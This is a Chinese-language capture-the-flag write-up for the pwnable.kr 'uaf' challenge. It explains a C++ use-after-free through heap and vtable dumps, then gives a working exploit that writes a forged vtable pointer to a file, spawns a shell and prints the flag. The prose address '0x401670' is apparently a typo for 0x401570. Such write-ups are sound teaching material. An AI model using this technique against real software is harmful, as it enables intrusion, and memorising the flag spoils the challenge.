pwnable.kr —— uaf

question#

1
2
3
Mommy, what is Use After Free bug?

ssh uaf@pwnable.kr -p2222 (pw:guest)

题目要求我们使用ssh登录到服务器上ssh uaf@pwnable.kr -p2222,密码是cmd1的flag,有的时候可能有身份的校验,这个时候需要加上参数-o StrictHostKeyChecking=no进行登录

uaf.cpp#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};

class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};

class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};

int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);

size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;

switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}

return 0;
}

analyse#

先把文件下载下来scp -P 2222 -p uaf@pwnable.kr:/home/uaf/* ./

申请块大小#

在main函数中可以看到以下两段

1
2
3
4
5
400efb:	bf 18 00 00 00       	mov    $0x18,%edi
400f00: e8 8b fe ff ff callq 400d90 <_Znwm@plt>

400f59: bf 18 00 00 00 mov $0x18,%edi
400f5e: e8 2d fe ff ff callq 400d90 <_Znwm@plt>

都是申请了一个Fastbin块用于初始化man和woman对象
其中函数_Znwm可以用工具c++filt查看真实的函数名

1
2
root@5c619b760e10:/ctf/work# c++filt _Znwm
operator new(unsigned long)

由于我们要利用UAF漏洞,所以再次申请时,也需要申请一样大小的Fastbin块,所以在选择2时,我们填入大小为24。由于Fastbin是LIFO,所以我们2申请块时,第一次申请得到的是原先属于w的块,第二次申请得到的是原先属于m的块。

对象结构#

在while(1)处打断点,然后可以查看到fastbin信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
0x614e60 FASTBIN {
mchunk_prev_size = 0x0,
mchunk_size = 0x31,
fd = 0x4,
bk = 0x4,
fd_nextsize = 0x0,
bk_nextsize = 0x6b63614a
}
0x614e90 FASTBIN {
mchunk_prev_size = 0x0,
mchunk_size = 0x21,
fd = 0x401570 <vtable for Man+16>,
bk = 0x19,
fd_nextsize = 0x614e88,
bk_nextsize = 0x31
}
0x614eb0 FASTBIN {
mchunk_prev_size = 0x614e88,
mchunk_size = 0x31,
fd = 0x4,
bk = 0x4,
fd_nextsize = 0x0,
bk_nextsize = 0x6c6c694a
}
0x614ee0 FASTBIN {
mchunk_prev_size = 0x0,
mchunk_size = 0x21,
fd = 0x401550 <vtable for Woman+16>,
bk = 0x15,
fd_nextsize = 0x614ed8,
bk_nextsize = 0x411
}

以其中的块0x614e90为例,是m的结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
gdb-peda$ x/10x 0x614e90
0x614e90: 0x0000000000000000 0x0000000000000021
0x614ea0: 0x0000000000401570 0x0000000000000019
0x614eb0: 0x0000000000614e88 0x0000000000000031
0x614ec0: 0x0000000000000004 0x0000000000000004
0x614ed0: 0x0000000000000000 0x000000006c6c694a
gdb-peda$ x/10a 0x401570
0x401570 <vtable for Man+16>: 0x40117a <Human::give_shell()> 0x4012d2 <Man::introduce()>
0x401580 <vtable for Human>: 0x0 0x4015f0 <typeinfo for Human>
0x401590 <vtable for Human+16>: 0x40117a <Human::give_shell()> 0x401192 <Human::introduce()>
0x4015a0 <typeinfo name for Woman>: 0x6e616d6f5735 0x0
0x4015b0 <typeinfo for Woman>: 0x602390 <vtable for __cxxabiv1::__si_class_type_info@@CXXABI_1.3+16> 0x4015a0 <typeinfo name for Woman>
gdb-peda$ x/s 0x614e88
0x614e88: "Jack"

0x401570是Man的虚表,0x19是年龄25岁,0x614e88指向字符串"Jack"
也可以查看到w的结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
gdb-peda$ x/10x 0x614ee0
0x614ee0: 0x0000000000000000 0x0000000000000021
0x614ef0: 0x0000000000401550 0x0000000000000015
0x614f00: 0x0000000000614ed8 0x0000000000000411
0x614f10: 0x0a65657266202e33 0x000000000000000a
0x614f20: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/10a 0x401550
0x401550 <vtable for Woman+16>: 0x40117a <Human::give_shell()> 0x401376 <Woman::introduce()>
0x401560 <vtable for Man>: 0x0 0x4015d0 <typeinfo for Man>
0x401570 <vtable for Man+16>: 0x40117a <Human::give_shell()> 0x4012d2 <Man::introduce()>
0x401580 <vtable for Human>: 0x0 0x4015f0 <typeinfo for Human>
0x401590 <vtable for Human+16>: 0x40117a <Human::give_shell()> 0x401192 <Human::introduce()>
gdb-peda$ x/s 0x614ed8
0x614ed8: "Jill"

虚表#

当存在虚函数的继承时,会出现虚表vtable,用来索引函数

1
2
3
4
5
6
7
8
Man:                       0x401570
--------------- -------------
|+0 | vtable_Man| -----> |+0 give_shell |
--------------- -------------
|+8 | age | |+8 introduce |
--------------- -------------
|+16| name |
---------------

本来调用m的introduce函数时,是*(vtable_man+8),这里vtable_man是我们可以通过文件写入的值,为了调用到give_shell函数,我们只要将文件内容改成(vtable_man-8)的值代替原来的vtable_man即可

注意到这里有三个虚表,Man的,Woman的以及Human的,任意选一个即可,比如我选(0x401670-8)

get flag#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
uaf@pwnable:~$ python -c "print '\x68\x15\x40\x00\x00\x00\x00\x00'" > /tmp/tmpfile
uaf@pwnable:~$ ./uaf 24 /tmp/tmpfile
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ ls
flag uaf uaf.cpp
$ cat flag
yay_f1ag_aft3r_pwning

flag:yay_f1ag_aft3r_pwning

评论